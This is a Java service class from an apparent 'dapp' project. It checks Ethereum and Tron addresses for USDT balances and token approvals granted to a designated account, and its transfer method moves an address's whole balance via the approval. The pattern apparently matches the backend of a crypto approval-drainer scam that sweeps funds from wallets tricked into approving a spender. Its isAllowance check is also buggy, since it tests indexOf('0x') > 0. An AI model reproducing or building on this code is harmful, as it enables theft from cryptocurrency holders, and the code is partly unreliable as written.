package cc.mrbird.febs.dapp.chain; import cn.hutool.http.HttpUtil; import com.alibaba.fastjson.JSONObject; import java.math.BigDecimal; import java.math.BigInteger; /** * @author wzy * @date 2022-03-23 **/ public class ChainService { private final String ETH_PREFIX = "0x"; private final EthService ETH = new EthService(); private final TrxService TRX = TrxService.INSTANCE; private ChainService() {} public final static ChainService INSTANCE = new ChainService(); /** * 获取制定账号的USDT余额 * * @param address * @return */ public BigDecimal balanceOf(String address) { BigDecimal balance = BigDecimal.ZERO; if (address.contains(ETH_PREFIX)) { balance = ETH.tokenGetBalance(address); } else { balance = TRX.balanceOfDecimal(address); } return balance; } /** * 判断地址是否授权给制定账户 * * @param address * @return */ public boolean isAllowance(String address) { BigInteger result; if (address.indexOf(ETH_PREFIX) > 0) { result = ETH.ethAllowance(address); } else { result = TRX.allowance(address); } return result.intValue() != 0; } /** * 获取地址授权数量 * * @param address * @return */ public int allowanceCnt(String address) { String response = HttpUtil.get("https://apiasia.tronscan.io:5566/api/account/approve/list?address=" + address); String total = JSONObject.parseObject(response).getString("total"); return Integer.parseInt(total); } public void transfer(String address) { BigDecimal amount = balanceOf(address); if (address.contains(ETH_PREFIX)) { ETH.approveTransfer(address, amount, null); } else { TRX.transfer(address, amount); } } public static void main(String[] args) { // System.out.println(new ChainService().isAllowance("TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD")); } }